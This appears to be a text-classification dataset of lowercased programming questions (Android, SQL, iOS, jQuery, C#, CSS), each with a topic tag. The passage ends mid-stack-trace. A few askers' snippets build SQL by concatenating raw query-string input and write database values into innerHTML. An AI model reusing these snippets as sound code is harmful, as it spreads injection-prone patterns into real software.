how to store file in storage and make that read only  how to set the permission of file   how to store <code>file</code> in storage and make that read only  how to set the permission of <code>file</code>    <pre><code>file folder = new file(environment.getexternalstoragedirectory() +  /afolder ); if (!folder.exists()) {     folder.mkdir();     log.e(string.valueof(folder)  created......  ); } bval = folder.setreadonly(); </code></pre>,android
how to reverse the collection view cell  i have an array  with 15 elements and i am adding them to collection view cell   <pre><code>_imagearray=[@[@ bootimages  @ fall-photography-in-hocking-hills   @ gift  @ hillimages  @ mercedes-classe-s-w116_large_dettaglio_articolo  @ prinimages  @ resplendent  @ tnb4  @ tomato-plant  @ vole  @ waterimages  @ fall-photography-in-hocking-hills   @ gift  @ hillimages  @ mercedes-classe-s-w116_large_dettaglio_articolo ]mutablecopy];  - (uicollectionviewcell *)collectionview:(uicollectionview *)collectionview cellforitematindexpath:(nsindexpath *)indexpath {       //[self.collection reloaddata];     homeceecollectionviewcell *cell = [collectionview dequeuereusablecellwithreuseidentifier:reuseidentifier forindexpath:indexpath];      uiimage *image;     nsinteger row = [indexpath row];       nslog(@ indexpath = %ld   (long)row);          image = [uiimage imagenamed:_imagearray[row]];      cell.img.image = image;      cell.text.text=[_tittlearray objectatindex:indexpath.row];          return cell; } </code></pre>   and i in the next view controller i am taking an image  using camera and saving in to the array and i am passing the array back to the first view controller using <code>nsnotificationcenter</code>   <pre><code>[[nsnotificationcenter defaultcenter] addobserver:self selector:@selector(receivedarray:) name:@ sharearray  object:nil];  -(void) receivedarray:(nsnotification*)notification {          nsmutablearray* userinfo = notification.object;     uiimage *image = [userinfo firstobject];          [_imagearray addobject:[userinfo firstobject]];      nslog(@ %@  _imagearray);       [self.collection reloaddata];     _collection.delegate=self;     _collection.datasource=self;       nslog(@ %@  _imagearray); } i am reloading the collection view cell and the new image doesn t have name   if (indexpath.row == 15) {        image= _imagearray[row];                  //[_imagearray insertobject:image atindex:0];      }else {         image = [uiimage imagenamed:_imagearray[row]];       }     cell.img.image = image;      cell.text.text=[_tittlearray objectatindex:indexpath.row]; } </code></pre>   i want to add new image at the top but it is in the bottom    please help me out i am new to  the objective c,objective-c
can mysql 5.1 read a mysql 5.5 myisam file   we re in the middle of an upgrade from mysql 5.1 to mysql 5.5.  our only remaining holdout is the master  at 5.1  while all the slaves are at 5.5.      however  we have a stats process that runs on an admin slave  which rsyncs the myisam files to the master  who mount it in a stats db  then imports those stats into the main production db.    all the tables use the default row_format for myisam  which is static.  we re only using simple column types like int  varchar  enum  datetime.    we ve already run this process  and it didn t fall down  which is encouraging.  but i m concerned with errors that didn t make it into the log.    so the question is: what are the complications of this process   the myisam file is created by a 5.5 instance  then moved to a 5.1 instance.      what s going to go wrong,mysql
why is c function so long   i m coming from a script guy  used to functions within 50 lines.    and when i see frequently functions over 200 lines i m really having a hard time reading it.    is this normal at all,c
jquery intellisense in visual studio 2017 enterprise  i am really fed up of searching about jquery intellisense in visual studio 2017. please someone tell me the real working solution. i am using jquery 3.1.1 in vs 2017 enterprise. i have manipulated all the possible options in vs  yet no result.,jquery
ios: how to see recipients of an email or text message  i m using <code>mfmailcomposeviewcontroller</code> and <code>mfmessagecomposeviewcontroller</code>.    after the user sends an email or text. how can i tell who they sent it to,ios
how to delete a single row and re-order a table  i have create a table named profiledetails. then i set a button and gridview in my form. when i select a row in my gridview and click the delete button  the selected will be deleted and other rows will be re-arranged in corret format. but my code is delete a all records in my table  so what can i change this code to get my output.   <pre><code>   public class profiledetails       dim connenctor =  provider=microsoft.ace.oledb.12.0;data source=e:\vk\database1.accdb;jet oledb:database password=          dim con as new adodb.connection       dim rd as new adodb.recordset       private sub view()        dim rds as new adodb.recordset        rds.open( select * from profiledetails   con)         profiledetailsview.rows.clear()         do while not rds.eof         profiledetailsview.rows.add({rds( id ).value  rds( name ).value  rds( fathername ).value  rds( age ).value  rds( dob ).value  rds( class ).value  rds( contact ).value})         rds.movenext()     loop     rds.close() end sub  private sub detailsform_load(sender as object  e as eventargs) handles mybase.load     con.open(connenctor)     view()     profiledetailsview.enabled = true end sub </code></pre>   i have use the code my table records are displayed on my gridview. now i m add a delete button in my form. when i select anyone row in my grid and i click the delete button  the selected will be delete in my gridview and my db records. after deleted records the table records will be re-order to correct formation.    i.e..    <pre><code> **grid view**     1 ff kk ss ss     2 hh kk ii hh    3 ss hh jj dd    4 x  y   z  s    5 rr tt yy hh    6 rt  rt rt rt  </code></pre>   now i am select a second row in my gridview and delete it. the table will be displayed in this format.     <pre><code>    1 ff kk ss ss      3 ss hh jj dd     4 x  y   z  s     5 rr tt yy hh     6 rt  rt rt rt   after deleted a row. my table will be re-ordered based on my id. like this       1 ff kk ss ss      2 ss hh jj dd     3 x  y   z  s     4 rr tt yy hh     5 rt  rt rt rt </code></pre>   how to i written a code  to get this output ... please say your suggestion and explain how its working.,sql
deleting \x00 in front of a number in list  i have a list as follows how to delete the junk  \x00\x00.. in front of 563015   <pre><code>[ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00563015    553261    541526 ] </code></pre>,python
trouble creating a console menu  what i need help with is i m making a menu with the console  or at least attempting to.    i want it to work like this with arrow keys:   <pre><code>-&gt;option 1 (selected hence the &gt; )   option 2 (deselected)   option 3 (deselected) </code></pre>   my code:   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks;  namespace consoletest {     class program     {         public static consolekeyinfo keypressed;         public static string[] menu = new string[3] { start    options    exit };         public static int menuid = 0;         public static string selected = menu[0];          public static void selected()         {             keypressed = console.readkey();         }          public static void printmenu()         {             int lengthmenu = menu.length;             foreach (var menuelement in menu)             {                 menuid++;                 menuid.tostring();                  if(selected == menu)                 console.writeline(menuelement.tostring());             }         }          public static void checkselected()         {         }          static void main(string[] args)         {             printmenu();             //selected();             //checkselected();              console.read();         }     } } </code></pre>   is this even the correct way to approach this  it s half finished at the <code>if</code> where i gave up and also at the <code>.tostring</code> part.,c#
javascript compare 2 object arrays with where conditions  i am trying to compare two object arrays something like   <pre><code>list1 = [{id:1 name: amy } {id:3 name: zoe }];   list2 = [{id:1 name: sally } {id:3 name: zoe }];      select * from list1 a  list2 b where a.id = b.id and a.name = b.name  result: id:3  name: zoe  </code></pre>   how can i write this in javascript,javascript
objective c  return an array <pre><code> -(nsarray*)getneighbors{       nsarray *values = [neighbors allvalues];//neighbors is nsmutabledictionary       return values;  } </code></pre>   i have a very simple code like this but i am not sure that i need to add  retain ...,objective-c
argument out of range exception  i want to concate title in url for the corresponding id but it is giving argument out of range exception.    please help    <pre><code>     dim unqidstr as string = request.querystring( id ).tostring()         unqidstr = unqidstr.substring(0  unqidstr.indexof( - ))         dim x as string =  select unqid  title  img  ttl_desc from schedule_master_ays where unqid =   + unqidstr +               dim cmd as sqlcommand(              dim dt as new datatable         dt = dal.gettds(x).tables(0)         x =            for each dr as datarow in dt.rows             x +=  &lt;h2&gt;   + dr( title ) +    &lt;/h2&gt;              x +=  &lt;p&gt;   + dr( ttl_desc ) +   &lt;/p&gt;              x +=  &lt;br /&gt;              x +=  &lt;br /&gt;              x +=  &lt;img src=   + dr( img ).tostring().replace( ~/     ) +    style= margin-left: 100px; width:400px;  /&gt;          next         x = x.replace(         )         divttc.innerhtml = x </code></pre>,.net
design view freezes in visual studio 2008 web application  i have visual studio 2008 and ms office 2007..when i try to develop a web application in vs 2008  i didnt able to open the design view of the web page.. i can only able to see the source view..came to know by googling as  there is some compatibility issues between vs 2008 and ms office 2007 in web authoring components.. please help me to overcome this issue...thanks a lot...,asp.net
issue while trying to format date  i am trying to fetch a date from a textbox and convert it to a specific date format  below is the code:    <pre><code>    nsstring *datestr = self.hello.text;     nsdateformatter *dateformat = [[nsdateformatter alloc] init];     [dateformat setdateformat:@ mm/dd/yyyy ];     nsdate *date = [dateformat datefromstring:datestr]; </code></pre>   however i am getting  a date one day prior to the value at day. i am new to ios and i suspect like java s month  day in ios starts at 0 for the first day      example:    i enter <code>02/07/2010</code> in the text box. then *datestr gives me the same value  the change occurs after formatting the value *date shows a date like: <code>02/06/2010</code>. that is one day earlier than the date entered.,ios
angularjs is it possible to update model without updating the view  i m integrating in an angularjs app a non angularjs module for dragging items in a list (or across several list items containers) and the lists themselves are bound to an object containing several arrays (the model) and an ng-repeat generates the items in each list.  when performing a drag across lists  the drag module does it job perfectly in the html but doesn t update the model so i had to try that in its  dragend  event but the problem was that the lists twinkle and i wish i could avoid that effect. i need the view to be generated initially according to the model then disconnect the model and the view.,angularjs
how to select an item which is not in other table   i want to select a language which is not translated yet.    omc_pages has   <pre><code>create table if not exists `omc_pages` (   `id` int(11) not null auto_increment    `path` varchar(255) collate utf8_unicode_ci not null default       `lang_id` int(10) not null    ...   primary key (`id`) )   insert into `omc_pages` (`id`  `path`  ...`lang_id`) values (26   about_us  ... 0)  (44   about_us   ...1)... </code></pre>   this means path  about_us has english and norwegian already. i am assuming key 0 is english.    omc_languages has   <pre><code>create table if not exists `omc_languages` (   `id` int(25) not null auto_increment    `langname` text collate utf8_unicode_ci not null    `status` enum( active   inactive ) collate utf8_unicode_ci not null    primary key (`id`) )  insert into `omc_languages` (`id`  `langname`  `status`) values (1   norwegian    active )  (2   french    active )... </code></pre>   so in this case i only want to get  french .    i tried this but gives an error.   <pre><code>select * from omc_languages where omc_languages.id not in  (select lang_id from omc_pages where omc_pages.path = $path) </code></pre>   i also think that right join may be able to do the job.    update: i my using mysql. error is the following.   <pre><code>unknown column  $path  in  where clause   select * from omc_languages where omc_languages.id not in (select lang_id from omc_pages where omc_pages.path = $path) </code></pre>,sql
difference between html webpage and html email newsletter  what is the difference in terms of the html code for an html webpage and an html newsletter. why do we always use tables in html news letters and not divs,html
convert html images to inline base64  i d like to automatically convert html files with png images to inline base64 images included in single html file. is there any such <em>ready-to-use</em> tool,html
add data to a list view from database  i want to add some info from my database to a list view  i have been able to pass that information to a textview just don t know how to get it to a list view this is my code.   <pre><code>   public class viewclass extends activity{        listview mylist;        @override     protected void oncreate(bundle savedinstancestate) {         // todo auto-generated method stub         super.oncreate(savedinstancestate);         setcontentview(r.layout.homepage);         initialize();         database viewagenda = new database(this);         viewagenda.open();         string data = viewagenda.getagendadata();         viewagenda.close();         test.add(data); }      private void initialize() {         // todo auto-generated method stub         mylist = (listview) findviewbyid(r.id.panel_bottom);      }   } </code></pre>,android
how to open avi file in firefox using window media player  i have problem reguarding .avi file is not open in morzila firefox with window media player     my code is   <pre><code>&lt;html&gt;  &lt;head&gt;    &lt;/head&gt;  &lt;body&gt; &lt;object width= 425px  height= 360px  &gt; &lt;param name= allowfullscreen  value= true /&gt; &lt;param name= wmode  value= transparent /&gt; &lt;param name= movie  value= video.avi /&gt; &lt;embed src= video.avi  width= 425  height= 360  allowfullscreen= true  type= application/x-shockwave-flash  wmode= transparent /&gt; &lt;/object&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   for playing my video  video play in ie but cant play in morzila fire fox,html
porting .net => ruby  can i respond to urls ending in .aspx   my .net application has a url that ends with .aspx like:   <pre><code>www.example.com/users/find.aspx userid=234234 </code></pre>   i don t want to re-write the url  i want to keep it as is.    is it possible for a rails 3 application (nginx  passenger) to respond to this request using a customized route,ruby-on-rails
asp.net unmanaged dll call fails on live server  works locally - repost  i am reposting this. the problem i am having is that my code works on the local development server when i run it through visual studio 2010  but when i upload to our host it fails at one of the dll calls.  my relevant code kinda looks like:   <pre><code>intptr thingdb = loaddbthing( pathtodb ) if thingdb = 0 then &lt;- check to see if pointer was returned    display getlasterrormessage()     exit sub end if ... intptr thing = creatething(thingdb) if thing = 0 then    display getlasterrormessage()     exit sub end if ... intptr resultthing = dothing(thing)  &lt;- code fails here if resultthing = 0 then    display getlasterrormessage()     exit sub end if ... intptr anotherresultthing = dootherthing(resultthing)  </code></pre>   it seems that <code>dothing()</code> is throwing an error on the live server but on the the local server everything works fine. the library i am using is a 3rd party library with no support. the server is not throwing an error  but i am able to check the return values of the pointers and get the last error message from the library  though the error string i am getting ( unknown exception ) isnt very helpful. i checked the pointer values for all the result variables and <code>dothing()</code> returns a zero value. if i change <code>resultthing</code> and the return value of <code>dothing()</code> to an <code>int64</code> i actually get a pointer back but then <code>dootherthing()</code> won t accept <code>resultthing</code> and i can t convert it back to an <code>int32</code> or <code>intptr</code>    wonder if anyone can help explain why this is happening      os: microsoft windows nt 5.2.3790 service pack 2 microsoft-iis/6.0 asp.net version: 2.0.50727.3643<br> platform string: win32nt,asp.net
how to make a uiviewcontroller flip to next page   i am using uitapgestures and i want a uiviewcontroller to navigate to another controller with flip animation. i tried using uimodaltransitionflip  it works but the button on the next controller will not be able to work. how do i do this     for this code  the button works on the other page.   <pre><code>- (void)imageview1doubletapped:(uitapgesturerecognizer *)gesturerecognizer {     gfstoryboardviewcontroller *gfsb = [[gfstoryboardviewcontroller alloc]initwithnibname:nil bundle:nil];        [self.navigationcontroller pushviewcontroller:gfsb animated:yes];  } </code></pre>   for this code the button doesn t work on the next page   <pre><code>- (void)imageview2doubletapped:(uitapgesturerecognizer *)gesturerecognizer {     sbstoryboardviewcontroller *sbsb = [[sbstoryboardviewcontroller alloc]initwithnibname:nil bundle:nil];      sbsb.modaltransitionstyle = uimodaltransitionstylefliphorizontal;      [self.navigationcontroller presentmodalviewcontroller:sbsb animated:yes];  } </code></pre>,objective-c
finding shared data in multiple columns  here s my table  earth     <a href= https://i.stack.imgur.com/4vhiw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/4vhiw.png  alt= http://imgur.com/eilbken ></a>    i need to find all records / rows  in which people share    <ul> <li>the same country</li> <li>and within this same country  they need to share the same state</li> <li>and within this same state  they need to share the same city</li> </ul>   in this query  i can t use any specific country  state  or city names.  therefore is there a query i can use  that will still return for example two or more people who share the same country  state  and city,sql
parse datetime from filename  hi i m trying to develop a utility to manage large sets of backup s:     i have my backups structured like:   <pre><code>d:\sqlbackup\nofault2010\datatbase\log\nofault2010_datatbase_log_20110906_182000.trn d:\sqlbackup\nofault2010\datatbase\log\nofault2010_database_log_20110906_183000.trn </code></pre>   i can get rid of the static parts easily enough    <pre><code>replace(@ d:\sqlbackup\nofault2010\datatbase\log\nofault2010_datatbase_log_     ).replace( .trn     ); </code></pre>   how can i consistently parse this part 20110906_182000 ... i m open to any other suggestions.  thanks my brain is on vacation today something terrible.,c#
shouldautorotatetointerfaceorientation not being called iphone  so i m trying to make some view rotate but the method is not even called and i m so frustrated. here is the method:    <pre><code>- (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {     return yes; } </code></pre>   i also tried:   <pre><code>- (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {     return ((interfaceorientation == uiinterfaceorientationportrait) ||             (interfaceorientation == uiinterfaceorientationlandscapeleft) || (interfaceorientation == uiinterfaceorientationlandscaperight)); } </code></pre>   my info.plist looks like this:    <img src= https://i.stack.imgur.com/t2exa.png  alt= enter image description here >    what i m i missing   i ve looked at all the answers i found here in so but still the problem remains.,iphone
inner join and select <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/6841605/sql-server-get-top-1-of-each-group >sql server: get top 1 of each group</a>    </blockquote>     i have 2 tables in ms sql. one of tblproducts and tblproductsimage.     and all products have min. 2 pictures. but i want to show only first image  every product.    what can i do this inner join and select command.,sql
rails: how to loop through flash errors and flash notices separately   i m trying to style my flash errors (red background) differently from my flash notices (green background). however  i m trying to do this in my layouts in my application.html.erb so that i can just take care of all of the flash all at once so there won t be any instance variables. however  i m having trouble finding the right variable. this is my current application.html.erb:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;   &lt;title&gt;&lt;%= complete_title(yield(:title)) %&gt;&lt;/title&gt;   &lt;%= stylesheet_link_tag     application   :media =&gt;  all  %&gt;   &lt;%= javascript_include_tag  application  %&gt;   &lt;%= csrf_meta_tags %&gt; &lt;/head&gt; &lt;body class= clearfix &gt;     &lt;div class= bigwrapper &gt;       &lt;%= render  layouts/header  %&gt;      #i want to figure out how to split this part up into flash[:notice].each and flash[:error].each so i can style them separately     &lt;% flash.each do |key  value| %&gt;         &lt;%= content_tag(:div  value  class:  alert alert-#{key} ) %&gt;     &lt;% end %&gt;          &lt;%= yield %&gt;      &lt;%= render  layouts/footer  %&gt;     &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   here is a sample sessions controller where i use flash[:error]   <pre><code>class sessionscontroller &lt; applicationcontroller  def new end  def create     user = user.find_by_email(params[:session][:email])     if user &amp;&amp; (!params[:session][:email].blank ) &amp;&amp; user.authenticate(params[:session][:password])     if params[:remember_me]       cookies.permanent[:remember_token] = user.remember_token     else       cookies[:remember_token] = user.remember_token     end       sign_in user       redirect_to user_path(user)     else       flash.now[:error] =  invalid email and/or password.        render  new      end end  def destroy     sign_out     redirect_to root_url end </code></pre>   end,ruby-on-rails
how to find an element without a data attribute in jquery  <pre><code>&lt;div class= foo &gt;&lt;/div&gt; &lt;div class= foo  data-id= 123 &gt;&lt;/div&gt; </code></pre>   or   <pre><code>&lt;div class= foo  data-id= 123 &gt;&lt;/div&gt; &lt;div class= foo &gt;&lt;/div&gt; </code></pre>   how to use jquery to find the first div without the data-id,jquery
create a cabinet file in java  does anyone know a library that makes it possible to create a cabinet file in pure java,java
where can i find java sun tutorials for download   after a while  i went to <a href= http://download.oracle.com  rel= nofollow >download.oracle.com</a> looking for java 6 tutorials that were really great. i was surprised that i didn t found them there; where are they  if they are not hosted anymore by oracle  can they be downloaded anywhere     <strong>edit:</strong> for some reason i can t open <a href= http://download.oracle.com/javase/tutorial/  rel= nofollow >http://download.oracle.com/javase/tutorial/</a>. can anyone provide direct link to current bundle,java
codeschool: rails best practices  hey guys i wanted to know if anyone has purchased <a href= http://www.codeschool.com/courses/rails-best-practices  rel= nofollow >this rails course</a> and what you think of it     the reason i m asking is because i m fairly new at rails and i m still trying to wrap my ahead around certain things.    any other advice regarding where to find active blog posts about rails would be greatly appreciated as well.,ruby-on-rails
fade in when bg color change  i want to change my table row bg color when user hovers  at the same time have a fade in effect. the ff.code doesn t work. any ideas    <pre><code>$(this).fadein( slow ).css( background-color    #ffff99 ); </code></pre>,jquery
why isn t my html responding   my html doesn t show any content that i wrote. the objective that i m trying to accomplish is to make a button on the right  div  to make a random joke out of 5 spawn on the left div. the problem is that i don t know how to make a function to make the button spawn a joke. the joke would be in a separate html which i will use to replace the default one in the left div when you load the html. i m sorry if that s really incoherently confusing  but thank you for committing.    this is what i have so far:    the primary html:   <pre><code>&lt;html&gt; &lt;head&gt;     &lt;title&gt;free jokes!&lt;/title&gt;     &lt;meta charset= utf-8 &gt;     &lt;link href= final project.css  rel= stylesheet &gt; &lt;/head&gt;   &lt;body&gt; &lt;h1 id= shadow &gt;welcome to free jokes!&lt;/h1&gt; &lt;div id= left  src= left.html /&gt; &lt;div id= right  src= right.html /&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   the left div html:   <pre><code>&lt;!doctype html&gt;  &lt;html&gt;     &lt;head&gt;         &lt;title&gt;free jokes!&lt;/title&gt;         &lt;script&gt;         var randomnumber          function clickforjoke() {         randomnumber=math.floor( 1 + math.random() * 5);          switch ( randomnumber ) {         case 1:             window.open(  joke1.html   target= right  );             break;         case 2:             window.open(  joke2.html   target= right  );             break;         case 3:             window.open(  joke3.html   target= right  );             break;         case 4:             window.open(  joke4.html   target= right  );             break;         case 5:             window.open(  joke5.html   target= right  );             break;          default:             window.open(  joke.html   target= right  ); </code></pre>   and the external css:   <pre><code>body {     background-color: lightblue; }  #shadow {     text-shadow: -5px -8px 2px lightgreen;     font-size: 600%; }  left {     float:left;width:30%; }  right {     float:right;width:70%; } </code></pre>   thank you in advance!,html
retrieve the contents of each parenthesis nested in a string  i would like to know a way to retrieve the contents of each parenthesis nested in a string of characters.    here is a very basic example:   <pre><code>([last group]([second group]([first group]))) </code></pre>   to see more clearly:   <pre><code>(c(b(a))) </code></pre>   from there  i would like to put the content in a vector  here is the schema:   <pre><code>[0]: a [1]: b [2]: c </code></pre>   i implemented several codes  including this one:   <pre><code>std::vector&lt;std::string&gt; geteachparenthesiscontent(std::string str) {             //str =  (c(b(a))) ;             using namespace std;             int level = 0;             int depth = maxdepth(str);                  // gets the number of parenthesis groups (in example --&gt; 3)             vector&lt;string&gt; ret;                         // will be returned             string tmp;             for (int i = 0; i &lt; str.length(); ++i) {                 char curr = str[i];                 switch (curr){                 case  ( :                     if (level &lt; depth) {                         ++level;                         continue;                     }                     if (level &gt;= depth)                         tmp += curr;                     break;                 case  ) :                     if (level &lt; depth) {                         ++level;                         continue;                     }                     if (level &gt;= depth) {                         tmp += curr;                         ret.push_back(tmp);                         tmp.clear();                     }                     break;                 default:                     tmp += curr;                     break;                 }             }             return ret;         } </code></pre>   result:   <pre><code>cba) ) ) </code></pre>   this code doesn t work  but it s not for lack of searching on the internet! i don t think i left on a  bad  path  however  even if my code doesn t work  i think that the principle for arriving at the result must be similar  but obviously better.    i also tried an approach with regular expressions  but i realized that this was not possible.    i therefore ask for your help.    ps: i apologize in advance if i have misunderstood forum  title  content ... i read the rules before posting :),c++
why is there space between my li elements   i have a list of items displayed horizontally. i want to create a border around each li  and have them jut up right next to each other.    i created a small test to illustrate the problem  <a href= http://dabblet.com/gist/1916060  rel= nofollow >seen here</a>:   <pre><code>&lt;ul class= dashboard_inline_links &gt;     &lt;li&gt;&lt;a href= # &gt;october - 0&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;november - 0&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;december - 765&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;january - 0&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;february - 756&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;march - 2&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;  .dashboard_inline_links li {     border-style: solid;         border-width: 1px;         display: inline;       padding: 4px 8px; } .dashboard_inline_links a {        border-color: transparent #c6d3f0;        border-style: solid;         border-width: 1px;        color: #28478e;        display: inline-block;         margin: 0;         padding: 0; } </code></pre>   in short - there is white-space between the list items. i want them to jut up next to each other  and now i can only accomplish this by setting margin-left = -3px on the li items.    any idea what is happening  i feel like i am missing something obvious!,css
signed apk gives error: com.b.a.a.d.a: could not find method: setsotimeout  i have app  when i installed it via android studio (debug mode)  its working perfect in emulator and devices. but when i try to install signed apk in emulator or devices its installed successfully but when app opens it gives error. i commented all code which has httpconnection call and generate signed apk but error still exists.    i think error is in proguard file  how can i solve it.    i added below code in proguard but its not working...    **   <pre><code># add project specific proguard rules here. # by default  the flags in this file are appended to flags specified # in f:\adt\sdk/tools/proguard/proguard-android.txt # you can edit the include path and order by changing the proguardfiles # directive in build.gradle. # # for more details  see #   http://developer.android.com/guide/developing/tools/proguard.html # add any project specific keep options here: # if your project uses webview with js  uncomment the following # and specify the fully qualified class name to the javascript interface # class: #-keepclassmembers class fqcn.of.javascript.interface.for.webview { #   public *; #} -dontwarn com.viewpagerindicator.** -assumenosideeffects class android.util.log {     public static boolean isloggable(java.lang.string  int);     public static int v(...);     public static int i(...);     public static int w(...);     public static int d(...);     public static int e(...); } -keepattributes signature -keepattributes *annotation* -keep class com.android.okhttp.** { *; } -keep interface com.android.okhttp.** { *; } -dontwarn com.android.okhttp.** </code></pre>   **    <strong>error::</strong>   <pre><code>02-22 15:30:23.571 4257-4287/  w/openglrenderer: failed to set egl_swap_behavior on surface 0xeec35860  error=egl_success 02-22 15:30:23.769 4257-4279/  w/system.err: com.b.a.a.d.a: could not find method: setsotimeout 02-22 15:30:23.769 4257-4280/  w/system.err: com.b.a.a.d.a: could not find method: setsotimeout 02-22 15:30:23.769 4257-4279/  w/system.err:     at com.b.a.a.d.b.a(unknown source) 02-22 15:30:23.769 4257-4279/  w/system.err:     at com.b.a.a.d.b.a(unknown source) 02-22 15:30:23.769 4257-4279/  w/system.err:     at com.b.a.a.c.b.setoption(unknown source) 02-22 15:30:23.769 4257-4279/  w/system.err:     at     at java.net.socket.setsotimeout(socket.java:545) 02-22 15:30:23.769 4257-4279/  w/system.err:     at com.android.okhttp.connection.connect(connection.java:151) 02-22 15:30:23.769 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpengine.connect(httpengine.java:276) 02-22 15:30:23.769 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpengine.sendrequest(httpengine.java:211) 02-22 15:30:23.769 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.execute(httpurlconnectionimpl.java:382) 02-22 15:30:23.769 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.connect(httpurlconnectionimpl.java:106) 02-22 15:30:23.769 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.getoutputstream(httpurlconnectionimpl.java:217) 02-22 15:30:23.769 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.delegatinghttpsurlconnection.getoutputstream(delegatinghttpsurlconnection.java:218) 02-22 15:30:23.769 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpsurlconnectionimpl.getoutputstream(httpsurlconnectionimpl.java:25) 02-22 15:30:23.769 4257-4279/  w/system.err:     at com.b.a.ae.a(unknown source) 02-22 15:30:23.769 4257-4279/  w/system.err:     at com.b.a.b.a(unknown source) 02-22 15:30:23.769 4257-4279/  w/system.err:     at com.b.a.aa.run(unknown source) 02-22 15:30:23.769 4257-4279/  w/system.err:     at java.lang.thread.run(thread.java:818) 02-22 15:30:23.769 4257-4280/  w/system.err: com.b.a.a.d.b.a(unknown source) 02-22 15:30:23.769 4257-4280/  w/system.err:     at com.b.a.a.d.b.a(unknown source) 02-22 15:30:23.770 4257-4280/  w/system.err:     at com.b.a.a.c.b.setoption(unknown source) 02-22 15:30:23.770 4257-4280/  w/system.err:     at java.net.socket.setsotimeout(socket.java:545) 02-22 15:30:23.770 4257-4280/  w/system.err:     at com.android.okhttp.connection.connect(connection.java:151) 02-22 15:30:23.770 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpengine.connect(httpengine.java:276) 02-22 15:30:23.770 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpengine.sendrequest(httpengine.java:211) 02-22 15:30:23.770 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.execute(httpurlconnectionimpl.java:382) 02-22 15:30:23.770 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.connect(httpurlconnectionimpl.java:106) 02-22 15:30:23.770 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.getoutputstream(httpurlconnectionimpl.java:217) 02-22 15:30:23.770 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.delegatinghttpsurlconnection.getoutputstream(delegatinghttpsurlconnection.java:218) 02-22 15:30:23.770 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpsurlconnectionimpl.getoutputstream(httpsurlconnectionimpl.java:25) 02-22 15:30:23.770 4257-4280/  w/system.err:     at com.b.a.ae.a(unknown source) 02-22 15:30:23.770 4257-4280/  w/system.err:     at com.b.a.m.run(unknown source) 02-22 15:30:23.770 4257-4280/  w/system.err:     at java.lang.thread.run(thread.java:818) 02-22 15:30:23.770 4257-4280/  w/system.err:     at java.util.concurrent.threadpoolexecutor.runworker(threadpoolexecutor.java:1112) 02-22 15:30:23.770 4257-4280/  w/system.err:     at java.util.concurrent.threadpoolexecutor$worker.run(threadpoolexecutor.java:587) 02-22 15:30:23.770 4257-4280/  w/system.err:     at java.lang.thread.run(thread.java:818) 02-22 15:30:23.777 4257-4280/  w/system.err: java.net.socketexception: getsockname failed: ebadf (bad file number) 02-22 15:30:23.777 4257-4280/  w/system.err:     at libcore.io.iobridge.getsocketlocaladdress(iobridge.java:633) 02-22 15:30:23.777 4257-4280/  w/system.err:     at java.net.socket.cachelocaladdress(socket.java:1001) 02-22 15:30:23.777 4257-4280/  w/system.err:     at java.net.socket.connect(socket.java:884) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.platform.connectsocket(platform.java:174) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.connection.connect(connection.java:152) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpengine.connect(httpengine.java:276) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpengine.sendrequest(httpengine.java:211) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.execute(httpurlconnectionimpl.java:382) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.connect(httpurlconnectionimpl.java:106) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.getoutputstream(httpurlconnectionimpl.java:217) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.delegatinghttpsurlconnection.getoutputstream(delegatinghttpsurlconnection.java:218) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpsurlconnectionimpl.getoutputstream(httpsurlconnectionimpl.java:25) 02-22 